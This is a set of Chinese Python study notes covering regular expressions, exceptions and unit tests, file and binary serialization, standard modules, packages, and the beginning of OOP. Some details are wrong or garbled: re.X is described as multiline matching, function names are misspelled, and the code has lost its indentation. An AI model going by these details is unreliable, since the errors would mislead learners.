1、res=re.match(pattern, str,flags=0):功能是尝试从字符串的起使位置匹配一个模式,若匹配成功则返回一个匹配对象,否则返回None。pattern为正则表达式,str为匹配字符串,flags是可选标志位,用于控制正则表达式匹配方式,如区分大小写,多行匹配等。

正则表达式常用标志位:

修饰符 描述
re.I 使匹配对大小写不敏感
re.L 使本地化识别(locale-aware)匹配
re.M 多行匹配,影响^和$
re.S 匹配包括换行在内的所有字符
re.U 根据Unicode字符集解析字符影响\w,\W,\b,\B
re.X ^匹配字符串和每行的行首,$匹配字符串和每行行尾

可以使用匹配对象的函数:

  1. group(0):返回包含整个表达式的字符串

  2. group(n1,n2,……):返回一个包含多个组号对应值的元组

  3. groups():返回一个包含所有小组字符串的元组

  4. groupdict():返回一个包含所有经命名匹配小组的字典

    #使用re.match()匹配
    import re
    str = "0086-010-88668866"
    mat = re.match(r"(?P<nation>\d{4,})-(?P<zone>\d{3,4})-(?P<numper>\d{7,8})",str,re.M|re.I)
    if mat:
    print("mat.group(0)",mat.group(0))
    print("mat.group(1)", mat.group(1))
    print("mat.group(2)", mat.group(2))
    print("mat.group(3)", mat.group(3))
    print("mat.group(1,2,3)", mat.group(1,2,3))
    print("mat.groups()", mat.groups())
    print("mat.groupdict()", mat.groupdict())
    else:
    print("match匹配不成功!")

2、res=re.search(pattern,str,flags=0):功能扫描整个字符串并返回第一个成功的匹配对象。用法和re.match()函数相同

#使用re.search()查找
import re
str="David的QQ电子邮箱:123456@qq.com"
sea=re.search(r"(?P<user>\d+)@(?P<website>\w+)\.(?P<extension>\w+)",str,re.M|re.I)
if sea:
print("sea.group(0):",sea.group(0))
print("sea.group(1,2,3):", sea.group(1,2,3))
print("sea.groups():", sea.groups())
print("sea.groupdict():", sea.groupdict())
else:
print("search匹配不成功!")

查找函数:

  1. res=re.findall(pattern,str,flags=0):功能使在字符串中找到正则表达式匹配的所有子字符串,并返回一个列表:如果没有找到匹配,则返回空列表。参数和re.match()函数相同

    注意:re.match()函数和re.search()函数就是返回一次匹配的结果,re.findall()返回所有匹配结果

    #使用re.findall函数
    import re
    res=re.findall('\w+','liv well,love lots,and laugh often')#查找匹配字符串
    print("匹配结果:",res)

  2. res=re.finditer(pattern,str,flags):功能是在字符串中找到正则表达式匹配的所有子字符串,并作为一个迭代器返回,参数和之前一样

    #re.finditer函数:
    import re
    str="of the people,for the people,by the people"
    res=re.finditer("\w+ \w+ (people)",str)
    for match in res:
    print(match.group())

替换函数:

  1. res=re.sub(pattern,repl,str,[,count=0]):功能是将pattern的匹配项用repl替换,返回新字符串,pattern为正则表达式,repl为替换字符串,str为被查字符串,conunt为模式匹配最大次数,默认0为替换所有的匹配
  2. res=re.subn(pattern,repl,str,[,count=-0]):功能将pattern匹配项用repl替换返回包含新字符串和替换次数的二元组,参数和上方一样
#re.sub函数替换
import re
phoneNumber="400-669-5566#中国银行信用卡客服专线电话"
num1=re.sub('#.*$',"",phoneNumber)
print("使用sub()替换结果:",num1)
num2=re.subn("#.*$","",phoneNumber)
print("使用subn()替换结果:",num2)

分割函数:

res=re.split(pattern,str,[,maxsplit=0,flags=0]):功能通过指定分隔符对字符串进行分隔并返回分隔结果列表,pattern为正则表达式,包含指定的分隔符,str为待分隔的字符串,maxsplit为分隔次数,默认为0,不限制次数,flags为可选标志位

#re.split()分隔函数
import re
str="多少事,从来急;天地转,光阴迫。一万年太久,只争朝夕.毛泽东"
strlist=re.split('\W+',str)
print(strlist)

编译函数:

re.compile(pattern,[,flags]):用于编译正则表达式,生成一个正则表达是对象,pattern为正则表达式,flags参考上面正则表达式常用标志位表格。

#re.compile()编译函数
import re
pattern=re.compile('wr\w+ \w+')#生成正则表达式对象
#匹配字符串
res=pattern.findall("Frankly,in the opinion of Joint Chiefs of Staff,this strategy would involve us in the wrong war,at the wrong place,at the wrong time,and with the wrong enemy.")
if res:
print("匹配结果:",res)
else:
print("匹配无结果!")

常用的正则表达式:

python学习之异常处理和单元测试

python学习之异常处理和单元测试

异常类和异常处理

异常和异常类:

程序编译通过后,并不意味着运行就能获得正确结果,可能由于编程时考虑不周或运行时出现一些特殊情况(除数为零,越界,文件不存在等),结果出现中断程序正常运行,导致程序中断运行的错误称为异常(exception)又称例外。

异常是一个事件,该事件会在程序执行过程中发生,影响程序的正常执行,在python无法处理程序时就会产生异常,发生异常要捕获否则终止执行程序。

常用异常类:

异常处理:

异常处理的格式:

try:
语句块 #包含可能发生的异常
except 异常类型 1 [ as 错误描述]:
语句块 #异常处理语句块
...
except 异常类型 2 [ as 错误描述]:
语句块 #异常处理语句块
except:
语句块 #默认异常处理语句块
[else:
语句块] #没有异常时执行的语句
[finally:
语句块] #任何情况下都执行的语句块

try子句:包含可能抛出异常的语句块

except子句:负责处理抛出的异常,处理的尝试顺序与多个except子句的编写顺序一致。当尝试发现第一个异常类型匹配的except子句时就执行其后的语句块。最后一个不指定异常类型的except子句匹配任何类型的异常。

else子句:当try子句中的语句块没有发生异常时执行,可选。

finally子句:无论是否抛出异常只要finally子句存在就会被最终执行。

try-except-else-finally语句的执行情况分为以下两种:

  1. try子句中的语句块没有发生异常,在执行完try子句中的语句块后,直接执行else子句块中语句块,最后执行finally子句中的语句块
  2. try子句中的语句块发生异常,发生异常的类型将和except子句的异常类型进行匹配并执行其后的语句块,最后执行finally子句中的语句块。

except子句else子句finally子句语句块可以为用户输出异常消息或提示信息,异常信息可以通过异常对象的message成员给出,也可以根据用户需求给出。

列表索引异常:

#try-except语句处理列表索引范围异常:
list1=[1,2,3,4,5,6,7]
try:
print(list1[10])
except IndexError as e:
print("列表索引超出范围")

处理不确定异常:

#try-except处理不确定异常:
a=100
try:
b=a+"python"
except Exception as e:
print("异常类型:%s"%type(e))
print("异常信息:%s"%e)

整除处理:

#整除处理:
x,y=eval(input("请输入两个整数:"))
try:
z=x/y
print("z=",z)
except TypeError as e1:
print("数据类型异常:",e1)
except ZeroDivisionError:
print("除数为零异常!")
except:
print("程序运行异常")
else:
print("程序正常执行!")

处理文件访问异常:

#处理文件访问异常:
try:
f=open("./1.txt","r")#报错的化指定编码格式encoding='utf=8'
str=f.read()
except Exception as e:
print("出现异常:%s"%e)
else:
print("执行成功!")
finally:
print("执行完毕!")

未指定编码格式

指定了编码格式

异常抛出:

在except子句、else子句、finally子句的语句块中还可以将异常抛出,提供给调用它的上一级处理。抛出异常有raise语句执行。

格式:raise[Exception [,args [,traceback]]] Exception为异常类型,args为用户提供的参数,可选。traceback跟踪异常对象,可选。

#抛出异常:
def greaterZero(n):
if n<0:
raise Exception("你传入了一个小于0的整数") #抛出异常
else:
print("n=",n)
try:
x=int(input("请输入一个整数"))
greaterZero(x)#调用函数
except Exception as e:
print(e)

断言语句:

assert断言语句是一种在程序测试中比较常用的技术,常用于在程序的某个位置判断是否满足某个条件。assert语句格式:

assert  expression[,atguments]

其中express是结果为布尔值的表达式。arguments为参数,一般为错误提示信息,可选。assert断言语句的执行过程:如果expression的值为真,则程序忽略expression后面的参数,执行assert语句后面的语句;否则,assert语句触发异常。

上述表达式为真不抛出异常,表达式为假抛出异常

在程序测试中未发现错误后,将python源程序编译为字节码文件时可以用优化参数-o或-oo将assert语言从程序语句中删除

单元测试:

软件测试一般分为白盒测试和黑盒测试,对于业务比较复杂代码量大的软件白盒测试的难度较高,通常以黑盒测试为主,黑盒测试也称功能测试,通过测试来检测每一个功能能否正常使用。黑盒测试着眼于程序外部结构,不考虑内部逻辑结构,主要对软件界面和软件功能进行测试。单元测试是保证软件开发质量的基本方法,用于检验被测代码的一个很小的很明确的功能是否正确。一个单元测试判断某个特定函数的行为在各个情形下都符合要求,单元测试是最低级的测试活动。

python中用于进行单元测试的常用库是Unittest,其中最常用的是testcase类,其常用函数如下:

#Unittest模块测试函数功能的正确性
import unittest
#定义测试类:
class TestCaseOfArea(unittest.TestCase):
#定义测试方法,必须以test开头
def test_are(self):
area=getArea(3,4)
#断言方法用来核实得到的结果是否与期望的结果一致
self.assertEqual(area,12,msg="测试未通过!")
#定义求矩形面积函数:
def getArea(x,y):
return x*y
#执行测试
if __name__ == '__main__':
unittest.main()

当计算结果和预测结果不同时

python学习之文件访问

python学习之文件访问

文件访问

文件的分类:

  1. 按文件内容分:
    • 程序文件:存储的是程序,包括源文件和可执行文件如:.py、.cpp、.exe等文件
    • 数据文件:存储的是程序运行时所需的各种数据如:.txt、.docx、.xlsx等文件
  2. 按信息存储形式分类:
    • 文本文件:基于字符编码的文件,常见编码方式:asscll、Unicode编码可以使用文本编辑软件进行修改,常见为:.txt、.html文件
    • 二进制文件:存放各种数据的二进制编码,含有特殊的格式及计算机代码,必须用专用程序打开。常见的二进制编码文件有:数据库文件、图像文件、可执行文件、音频文件

文本的访问:

访问步骤:

  1. 用open()函数打开一个文件,返回一个文件对象
  2. 调用文件对象中的函数对文件内容进行读或写等操作
  3. 调用文件对象的close()函数关闭文件

打开文件:

  1. open()函数:python内置函数用于打开一个文件,返回一个文件对象,格式:open(filename[,mode]),filename为要打开文件的名称和路径,mode为文件访问的模式,如只读、写入、追加等,默认为只读(r).

    文件访问模式

    file=open(r"2.py","w")
    print("文件名:",file.name)
    print("访问模式:",file.mode)
    print("是否已关闭:",file.closed)
    file.closed

  2. with-as语句进行文本访问:在用open()函数对文件打开或者进行读写扽操作的过程中都有可能发生错误,即使写了关闭文件的语句也不一定能正常执行,从而导致不能正常关闭文件,缓存信息可能会意外丢失,文件可能损坏,所以推荐使用with-as语句减少这种情况,它适用于对资源进行访问的场合,可确保不管在使用过程中是否发生异常都会执行清理操作,释放资源,文件使用后自动关闭

    #使用with-as访问文本文件
    with open("./1.txt","w") as file: #注意要给权限
    num=file.write("Go its own way,let others say!") #向文件写入字符串
    print("写入字符%d个!"%num)

文件操作:

  1. 写文件:

    • file.write(str字符串)和file.writelines(seuence字符序列)向文件中写内容

      #文件操作
      #写文件:
      with open("./1.txt","w",encoding="utf-8") as file:
      num=file.write("天空再怎么黑暗\n我的内心依旧光明")
      print("写了%d个字符"%num)

      #向文件中追加内容:
      str=input("请输入内容:")
      with open("./1.txt","a",encoding="utf-8") as file:#参数a是以追加方式打开
      file.write("\n")
      num=file.write(str)
      print("写了%d个字符" % num)

      #向文件中写入元组:
      mingtuple=("王阳明","郑和","戚继光")
      with open("./ming.txt","w",encoding="utf-8") as file:
      num=file.write(str(mingtuple))
      print("将元组写入文件")

      #使用file.writelines(sequence)向文件中写入字符序列:
      str=["好雨知时节,当春乃发生.\n","随风潜入夜,润物细无声"]
      with open("杜甫.txt","w",encoding="utf-8") as file:
      file.writelines(str)
      print("写入字符序列成功!")

  2. 读文件:三个函数file.read(),file.readline(),file.readlines()

    • file.read([size]):读取一个文件的内容,返回一个字符串对象size是要读取内容的数目是可选参数

      #文件读取:
      #file.read()和for循环读取文件内容:
      with open("./杜甫.txt","r",encoding="utf-8") as file:
      str=file.read()
      print(str)

      print("分割线",'-'*20)

      with open("1.txt","r",encoding="utf-8") as file:
      for i in file:
      print(i,end=' ')

      • file.readline([size])函数从文件中读取一行返回一个字符串对象size为内容的数目可选

      • file.readlines([sizeint]):功能是读取并返回该文件中包含的所有行,以字符串列表形式返回sizeint为读取的字节数,可选参数

  3. 其他文件操作:

    • file.close():关闭文件。关闭文件后不能进行读写操作。
    • file.flash():刷新文件内部缓冲,直接把内部缓冲区的数据立刻写入文件,而不是被动地等待输出缓冲区写入
    • file.fileno():返回一个整型的文件描述符
    • file.isatty():如果文件连接到一个终端设备则返回true,否则返回false
    • file.tell():返回文件当前位置
    • file.seek():重定位文件对象的指针位置
    • file.truncate([size]):从文件的首行首字符开始截断,截断文件为size个字符,无size表示从当前位置截断:截断之后后面的所有字符被删除
    #使用file.tell()和file.seek()重定位
    with open("./1.txt","r",encoding="utf-8") as file:
    data=file.readline()
    print(data.strip())
    print('输出一行后的文件指针在:',file.tell())#查看指针位置
    file.seek(0)
    print('用seek()将文件指针放回开始处:',file.tell())
    print('再次输出:',file.readlines())

二进制文件访问:

对二进制文件不能直接用记事本等文本编辑软件直接进行读写,也无法通过python的文件对象直接读取和理解二进制文件中的内容,要想正确读写二进制文件必须理解二进制文件的结构,序列化,反序列化。

  • 序列化:指的是把内存中的数据对象在不丢失其类型的情况下转换成对应的二进制信息
  • 反序列化:将二进制信息准确无误地恢复到原来的数据对象的过程

二进制文件访问的三步:

  1. 打开二进制文件
  2. 访问二进制文件,写操作是将要写入的内容序列化后写入文件的过程,操作是将二进制文件内容读出反序列化的过程
  3. 关闭二进制文件

使用pickle模块读写二进制文件:

pickle模块只能在python中使用,几乎python中所有的数据类型都可以用pickle模块实现序列化。

pickle模块有两个函数:pickle.dump()序列化数据对象,并将该对象写入二进制文件:格式“pickle.dump(data,file[,protocoll])”data为写入二进制文件的数据对象,file创建或打开的文件对象,protocol为序列化的模式。

pickle.load(file):反序列化函数,将二进制文件中的内容解析为一个数据对象,file为打开二进制文件对象

#使用pickle模块读写二进制文件:
import pickle
list1=[2,4,5,8]
tuple1=("music","game","sports")
data = [list1,tuple1]
with open("./二进制文件读写.txt","wb")as pickle_file:
for i in data:
pickle.dump(i,pickle_file)
print("写入数据成功!")

#读:
import pickle
with open("./二进制文件读写.txt","rb") as picklef:
data1=pickle.load(picklef)
print("data1:",data1)
data2=pickle.load(picklef)
print("data2:",data2)

使用struct模块读写二进制文件:

方法:

  1. 向二进制文件中写数据,先使用pack()函数对数据对象按指定的格式进行序列化,然后使用文件对象write()函数将序列化的结果写入二进制文件
  2. 从二进制文件中读数据,先使用文件对象的read()函数读取二进制文件中的内容然后使用struct模块的unpack()函数完成反序列化后得到原来的数据对象

函数格式:

struct.pack(fmt,data1,data2…):fmt给定格式化字符串,data1、data2为要写入的数据对象

struct.unpack(fmt,string):fmt为给定格式化字符串,string为反序列化的字符串

#读
import struct
a="hello"
b=32
c=89.6
binary1=struct.pack('5sif',a.encode("utf-8"),b,c)#5字符串长度s类型if也是类型
with open("./struct二进制文件读写.txt","wb") as struct_file:
struct_file.write(binary1)
print("写入数据成功!")

#写:
import struct
with open("./struct二进制文件读写.txt","rb") as file:
binary1=file.read()
a,b,c=struct.unpack("5sif",binary1)
print("%s %d %f"%(a,b,c))

使用marshal模块读写二进制文件:

marshal.dump(data,file):将数据对象序列化后写入二进制文件中,data待序列化数据对象,file为创建或打开文件对象

marshal.load(file):将二进制文件中的内容反序列化为数据对象

#使用marshal模块读写二进制文件
#写
import marshal
data1=['def',34,89]
data2={1:"优秀",2:"良好",3:"合格",4:"不合格"}
data3=(5,6,7)
with open("./marshal二进制文件读写.txt","wb")as file:
marshal.dump(data1,file)
marshal.dump(data2,file)
marshal.dump(data3,file)
print("写入数据成功!")

#读:
import marshal
with open("./marshal二进制文件读写.txt","rb")as file:
data1=marshal.load(file)
data2 = marshal.load(file)
data3 = marshal.load(file)
print(data1)
print(data2)
print(data3)

使用shelve模块读写二进制文件:

shelve模块提供一种类似字典方式操作二进制文件的功能,如向二进制文件中写入、读出、修改数据。提供一个简单的数据存储方案,只有一个open()函数,它接收一个文件名作为参数,返回一个shelf对象.

shelve.open(filename,mode,protocol=None,writeback=False)

filename:打开或创建二进制文件

model:文件打开模式:

  1. ‘c’:如果文件不存在则创建允许读写
  2. ‘r’:只读
  3. ‘w’:可读可写
  4. ‘n’:每次调用open()函数都重新创建一个空文件,可读可写。

protocol:序列化模式,可以是1或2,默认None

writeback:是否将所有从二进制文件中读取的对象存放到一个内存缓存,默认False

#使用shelve模块读写二进制文件
#写:
import shelve
tg=dict(zip(['name','age'],['dong',31]))#zip()是Python的一个内建函数,它接受一系列可迭代的对象作为参数,将对象中对应的元素打包成一个个tuple(元组),然后返回由这些tuples组成的list(列表)
tj=dict(zip(['name','age'],['li',42]))
with shelve.open('shelve_file')as shelve_file:
shelve_file['tg']=tg
shelve_file['tj']=tj
print("写入数据成功!")

#读:
import shelve
with shelve.open('shelve_file')as shelve_file:
print(shelve_file['tg'])
print(shelve_file['tj'])

#修改:
import shelve
with shelve.open('shelve_file')as file:
tg=file['tg']
tg['name']='kei'
file['tg']=tg
print(file['tg'])

csv文件操作:

csv(comma separated values,逗号分隔值)文件是一种常用的文本格式文件,用于存储表格数据,包括数字,字符等。python内置了csv模块处理csv文件常用函数如下:

  1. csv.writer(csvfile):返回一个witer对象。csvfile为打开的csv文件对象
  2. writer.writerow(row):写入一行到csv文件
  3. writer.writerows(rows):写入多行到csv文件
  4. csv.reader(csvfile):返回一个reader对象来读文件

本文结束

python学习之模块、包、库的使用

python学习之模块、包、库的使用

模块

在python中一个模块(module)是一个以.py结尾的python文件,包含了python对象和语句。

模块的好处:

  1. 方便组织代码
  2. 提高代码的重用性
  3. 增加代码的重用性
  4. 避免函数名和变量名冲突

模块的导入方式:

  • 模块就是.py类型的Python文件

  • 导入时不需要.py后缀,直接导入文件名即可

    1、**利用import**直接导入:

  • 语法:**import** module_name

  • 使用方式:module_name.class_name或者module.func_name

    2、利用**import**导入模块并设置一个别名

  • 语法:**import** module_name as XXX

  • 使用方式:XXX.class_name或者XXX.funct_name

    3、借助**from**复制模块的属性,可以实现只导入模块中的部分类或函数或变量

  • 语法:**from** module_name import class_name, funct_name

  • 使用方式:直接调用函数或实例化类即可

  • 但要注意,from把变量从模块中导入后,会导致相同名称的变量被覆盖,也就是说不同模块的命名空间会在此处重叠。

    4、借助**from...import ***导入模块全部内容

  • 语法:**from** module_name import *

  • 使用时直接调用函数或实例化类即可

    5、借助importlib模块实现导入以数字开头的模块

  • 语法:**import importlib**

  • XXX = importlib.import_module(“module_name”)

  • 使用时XXX.class_name或者XXX.func_name

自带模块:

Turtle模块:

Turtle是python内嵌的绘制线、圆及其他形状(包括文本)的图形模块,它可以创建一个画笔,在一个横轴为x纵轴为y的坐标系原点位置开始,根据一组函数指令控制,在这个平面绘制图形

画布(Canvas):是Turple模块展开用于绘制图形的区域,默认一个坐标原点为画布中心的坐标轴,可以使用turtle.screensize(width,height,bg(bg代表背景颜色))和turtle.setup设置它的大小和初始位置

turtle.setup(width,height,startx,starty)其中startx,starty是画布左上角顶点在窗口的坐标位置

画笔:

画笔状态:使用位置方向描述画笔状态

画笔属性:包括画笔颜色、宽度移动速度,

​ turtle.pencolor(color)、turtle.pensize(width)、 tu rtle.speed(speed)

绘图命令:

#Turtle模块:
import turtle
#绘制一个圆和一个填充正方形
turtle.penup()
turtle.goto(-150,0)
turtle.pendown()
turtle.pencolor('blue')
turtle.begin_fill()
turtle.fillcolor('blue')
for i in range(4):
turtle.forward(100)
turtle.left(90)
turtle.end_fill()
#画圆
turtle.penup()
turtle.goto(100,0)
turtle.pendown()
turtle.color('red')
turtle.pensize(3)
turtle.circle(50)
turtle.done()

用turtle在画布上写字:

#在画布上写文字
t=turtle.Turtle()
t.penup()
t.goto(-80,20)
t.write("望庐山瀑布",font=("黑体",14,"normal"))
t.sety(-10) #画笔向下移
t.write("你很牛",font=("宋体",16,"normal"))
t.hideturtle()
turtle.done()

Random模块:

random模块用于生成随机数:

  1. random.random()函数用于生成[0,1)之间的随机浮点数。

  2. random.uniform(start,end)函数用于生成一个指定范围内的随机浮点数

  3. random.randint(start,end)函数用于生成一个指定范围内的整数

  4. random.randrange(start,end,step)函数用于生成指定范围指定步长的随机整数

  5. random.choice(序列对象)函数的功能是从序列对象中获取一个随机元素

  6. random.shuffle(序列对象[,random])函数用于将一个序列对象中的元素打乱

  7. random.sample(序列对象,k)从指定序列对象中随机获取指定长度(k)的片的

    #random模块
    import random
    for i in range(1,6):
    print(random.random())

    print("*"*10)
    random.uniform(2,6)
    random.uniform(8,6)
    random.uniform(-1,1)
    print()
    print("*"*10)
    for x in range(1,6):
    print(random.randint(1,100))
    print()
    print("*"*10)
    list1=[]
    for m in range(1,11):
    list1.append(random.randrange(1,100,2))
    print(list1)
    print()
    print("*"*10)
    for n in range(1,4):
    print(random.choice(list1))
    print()
    print("*"*10)
    for l in range(1,4):
    print(random.shuffle(list1))
    print()
    print("*" * 10)
    list2=[1,2,3,4,5,6,7,8]
    slice1=random.sample(list2,4)
    print("slice1:",slice1)

Time和Datetime模块:

time模块主要用于时间访问和转换提供了各种相关函数:

  1. time.time():返回时间戳(自1970-1-1 0:00:00至今所经历的浮点秒数)
  2. time.asctime([t]):将一个tuple或struct_time形式的时间转换为一个表示当前本地时间的字符串
  3. time.ctime([secs]):将一个秒数时间戳表示的时间转换为一个表示当地时间的字符串
  4. time.localtime([secs]):返回以指定时间戳对应的本地时间struct——time对象
  5. time.strftime(s,t):将struct_time对象转换成字符串
  6. time.altzone:返回与utc时间的时间差以秒为单位

datetime模块为日期和事件处理同时提供了简单复杂的方法,其中有

日期类(date类):d=datetime.date(year,mouth,day)

时间类(time类):t=time(hour,[minute,[second,[,tzinfo]]])

日期时间类(datetime类):dt=datetime(year,month,day,hout,minute,second,microsecond,tzinfo)

时间差类(timedelta类):td=datetime.timedelta(days,seconds,microseconds,milliseconds,hours,weeks)

#datetime类的使用:
#date类:
from datetime import date
d=date.today()
print("当前日期:",d)
print("日期:{}年{}月{}日".format(d.year,d.month,d.day))
print("今天是周{}".format(d.isoweekday()))
print("*" * 10)
#time类:
from datetime import time
print("时间最大值:",time.max)
print("时间最小值:",time.min)
t=time(20,30,50,8888)
print("时间:{}时{}分{}秒{}微妙".format(t.hour,t.minute,t.second,t.microsecond))
print("*" * 10)
#datetime类
from datetime import datetime
dt=datetime.now()
print("当前日期:",dt.date())
print("当前时间:{} 当前年份:{}年 当前月份:{}月 当前日期:{}日".format(dt.time(),dt.year,dt.month,dt.day))
print("时间:",datetime(2018,9,16,12,20,36))
print("*" * 10)
#timedelta类
from datetime import datetime,timedelta
print("1周包含的秒数:",timedelta(days=7).total_seconds())
d=datetime.now()
print("当前本地系统时间:",d)
print("一天后:",d+timedelta(days=1))
print("一天前:",d+timedelta(days=-1))

OS模块:

​ os模块是一个用于访问操作系统功能的模块,通过os模块中提供的接口可以实现以下功能:

  1. 获取平台信息

    • os.getcwd():获取当前工作目录
    • os.sep:查看操作系统特定的路径分隔符
    • os.linesep:查看当前平台使用的行终结符
    • os.pathsep:查看用于分隔文件路径的字符串
    • os.name:查看当前系统平台
    • os.environ:查看当前系统的环境变量
    import os
    print("分隔符:",os.sep)
    print("操作系统平台:",os.name)
    print("环境变量path:",os.getenv('path'))

  2. 目录文件操作:

    • os.mkdir(newdir):创建新目录

    • os.rmdir(dir):删除目录

    • os.listdir(path):列出指定目录path下所有文件

    • os.chdir(path):改变当前脚本的工作目录为指定路径path

    • os.remove(file):删除一个指定文件file

    • os.rename(oldname,newname):重命名一个文件

      os模块获取文件属性:

    • os.path.abspath(path):返回绝对路径

    • os.path.split(path):将path分割成包含目录和文件名的元组返回

    • os.path.exists(path):如果path存在则返回true否则返回false

    • os.path.isfile(file):如果file是一个存在的文件则返回true否则返回false

    • os.path.isdir(dir):如果dir是一个存在的目录则返回true否则返回false、

    • os.path.getsize(file);返回指定文件大小

    #os文件操作:
    import os
    print("当前工作路径:",os.getcwd())
    print("当前路径的目录和文件列表:",os.listdir())
    os.rename("1.py","11.py")
    print("重命名文件夹后当前路径的目录和文件列表",os.listdir())
    os.mkdir("newDir")
    print("创建文件目录后当前目录和文件列表:",os.listdir())
    os.chdir("newDir")
    print("改变当前工作路径后,当前工作路径:",os.getcwd())

    print("(路径,文件)",os.path.split(r"d:\OS模块\1.py"))
    print("目录存在?:",os.path.exists(r"d:\OS模块"))
    print("文件存在?",os.path.isfile(r"d:\OS模块\1.py"))
    print("文件大小:",os.path.getsize(r"d:\OS模块\1.py"))

  3. 调用系统命令:

    os模块中用于调用系统命令的常用函数:

    • os.popen(cmd[,mode[,bufsize]]):用于由一个命令打开一个管道。cmd为系统命令,mode为模式(r或w),bufsize为文件需要的缓冲大小

    • os.sysem(shell):运行shell命令

      import os
      os.system("rmdir d:\\python学习\\大四学习\\newDir")
      os.popen(r"c:\windows\notepad.exe")
      print("程序执行成功")

Sys模块:

sys模块提供对python解释器相关的操作

Timeit模块:

是一个计时功能的模块,用于测试一段代码运行时间

timeit()函数返回执行代码所用的时间单位为秒:t=timeit(stmt=’code’,setup=’code’,timer=,number=n),stmt是要执行的代码,setup为执行代码的准备工作,timer一般为time.clock(),number为执行代码次数

repeat()函数比timeit函数多了一个repeat参数控制执行多少遍格式:

t=repeat(stmt=’code’,setup=’code’,timer=,repeat=m,number=n)

import timeit
def myfun():
sum=0
for i in range(1,100):
for j in range(1,100):
sum=sum+i+j

t1=timeit.timeit(stmt=myfun,number=1000)
print("t1=",t1)
t2=timeit.repeat(stmt=myfun,repeat=6,number=1000)
print("t2=",t2)

Zlib模块:

用来进行数据打包解包常用函数如下:

  1. zlib.compress(string):对string进行压缩

  2. zlib.decompress(string):对string进行解压

    #使用zlib模块对字符串进行压缩解压
    import zlib
    str=b'贾程林是个猪头,大猪头'
    print("压缩前:{}字符个数:{}".format(str,len(str)))
    str_com=zlib.compress(str)
    print("压缩后:{}字符个数:{}".format(str_com,len(str_com)))
    str_dec=zlib.decompress(str_com)
    print("解压后:{}字符个数:{}".format(str_dec,len(str_dec)))

模块的使用简单总结就是将模块导入,知道模块中函数的功能与传递参数的含义熟练的使用就可以掌握。

第三方库模块:

Pyinstaller库:

可以用这个库来打包程python应用程序,打包时pyinstaller库会扫描python程序的所有文档,分析所有代码找出代码运行所需的模块,然后将所有这些模块和代码放在一个文件夹里或一个可执行文件里这样用户不需要下载各种软件运行环境就可以执行这个可执行程序

下载和安装:

pip install pyinstaller

打包应用程序:

  1. 创建一个python源文件
  2. 打开命令行界面进入源文件所在路径
  3. 在命令行界面运行命令:”pyinstaller -F 源文件名“ 打包源文件,成功执行后生成可执行文件源文件名.exe在源文件所在路径的dist中就可以让别人使用

第三方库模块还有Numpy库开源的数值计算库、Pandas库一种解决数据分析任务的工具库、SciPy库一款方便易于使用专为科学和工程设计的库、Matplotlib库一个基于python跨平台交互式2D绘图库Jieba库优秀的中文分词库这些库的需要参考使用文档学会调用其内部函数就可以了。

为了对同一类型的模块进行有效的管理,引入了包(package)来组织模块,包是模块所在文件的目录,并且在该目录下必须有一个名为__init__.py的文件;否则python就将该目录视作为普通目录,而不是一个包。__init__.py可以是一个空文件,也可以包含python代码。

包的导入:

​ 1.利用**import直接导入包(仅仅导入__init__.py中的内容**)

  • 语法:import package_name

  • 直接导入一个包,仅仅可以使用_init_.py中的全部内容

  • 使用:package_name.func_name 或者 package_name.class

    2.导入包中的某一个模块

  • 语法:import package_name.module_name

  • 使用:package_name.module_na112afme.func_name或
    package_name.module_name.class_name

具有相关功能的包和模块集合则形成了库如:python标准库、numpy库等

按照库的来源可分为三种库:

  1. 标准库(python自带)

    常用标准库:

  2. 第三方库(由第三方机构发布具有特定功能)

    第三方库的使用和自带的库使用类似不过首先需要在terminal中用pip安装相关库然后导入库和模块按照模块使用方法使用即可

  3. 自定义库(用户创建)

    用户自己可以编写具有特定功能的模块,保存到扩展名为.py的文件中。由用户自己编写的模块称为自定义模块。和标准库模块第三方库中的模块一样。如果要调用自定义模块中的类、函数、属性也必须用import语句导入后在使用

    以一个项目名称为P1的例子介绍自定义模块创建和使用:

    • 场景1:

      在源文件A11.py中调用包package1中的模块A12:

      实现步骤:

      1. 在package1下添加A11.py和模块A12中的程序代码
      2. 分别编写源文件A11.py和A2中的程序代码

      目录结构如下:

      方法一:源文件A11.py中的程序代码:

      import A12
      print(A12.func_A12()) #使用A12中的函数func_A12()

      结果

      方法二:源文件A11中的程序代码:

      #方法二
      from A12 import *
      print(func_A12())#使用A12中的函数func_A12()

      方法三:源文件A11中的程序代码:

      #方法三:
      from A12 import func_A12
      print(func_A12())#使用A12中的函数func_A12()

      方法四:源文件A11中的程序代码:

      #方法四
      import A12 as a
      print(a.func_A12())#使用A12中的函数func_A12()

    • 场景二:在源文件main.py中调用包pack2中的模块A2

      实现步骤:

      1. 在pack2文件夹中创建__init__.py
      2. 分别编写模块A2和源文件main.py中的程序代码

      方法一:

      源文件main.py中的程序代码:

      #方法一:
      from pack2.A2 import *#或者from pack2.A2 import func_A2()
      print(func_A2())#调用函数

      方法二:

      源文件main.py中的程序代码:

      #方法2
      import pack2.A2
      print(pack2.A2.func_A2())#调用函数

    • 场景三:在源文件A11中调用模块A2

      在本场景中源文件A11.py和模块A2分别在两个不同路径的包中实现步骤:

      1. 在pack2中添加__init__.py
      2. 分别编写源文件A11和模块A2

    方法一:

    源文件A11中的程序代码:

    #方法一:
    import sys
    sys.path.append('d:\\python学习\\大四学习\\pack\\pack2')#引入pack2所在路径
    import A12 #导入模块
    print(A12.func_A12()) #调用函数

    方法二:

    源文件A11中的程序代码:

    # 方法2:
    import sys

    sys.path.append('d:\\python学习\\大四学习\\pack') # 引入pack所在路径
    import pack2.A2
    print(pack2.A2.func_A2())

python学习三面向对象的程序设计

python学习三面向对象的程序设计

面向对象程序设计

两种程序设计方式:

  • 面向过程程序设计(POP):把计算机程序视为一系列集合即一组函数按事先顺序执行,函数为基本单位。
  • 面向对象程序设计(OOP):把计算机程序视为一组对象的集合,每个对象可以接受其他对象发送的消息,程序的执行指的是消息在各个对象之间的传递,对象是基本单位。

python支持POP、OOP。

OOP:基本思想将数据以及对数据的操作封装在一起组成一个相互依存不可分割的整体,及对象。对相同,类型的对象进行分类、抽象后得出共同特征而形成类。基本概念包括对象、类、消息、封装、继承和多态

对象是要研究的任何事物,类是一组具有相同特征和相同操作对象的定义,一个类所包含的数据和方法描述一组对象的共同特征和行为。不同类之间可以有继承关联依赖等关系。

消息:消息是一个对象要求另一个对象实施某项操作的请求。

类的定义:

类是一种类型,对象是该类型的一个变量,类是抽象的,一般不占用内存空间,对象是具体的,创建对象时系统会为其分配相应的内存空间。

格式:

class 类名:
"""类说明"""
类体 包含数据成员(成员)成员方法(行为)

对象创建和使用

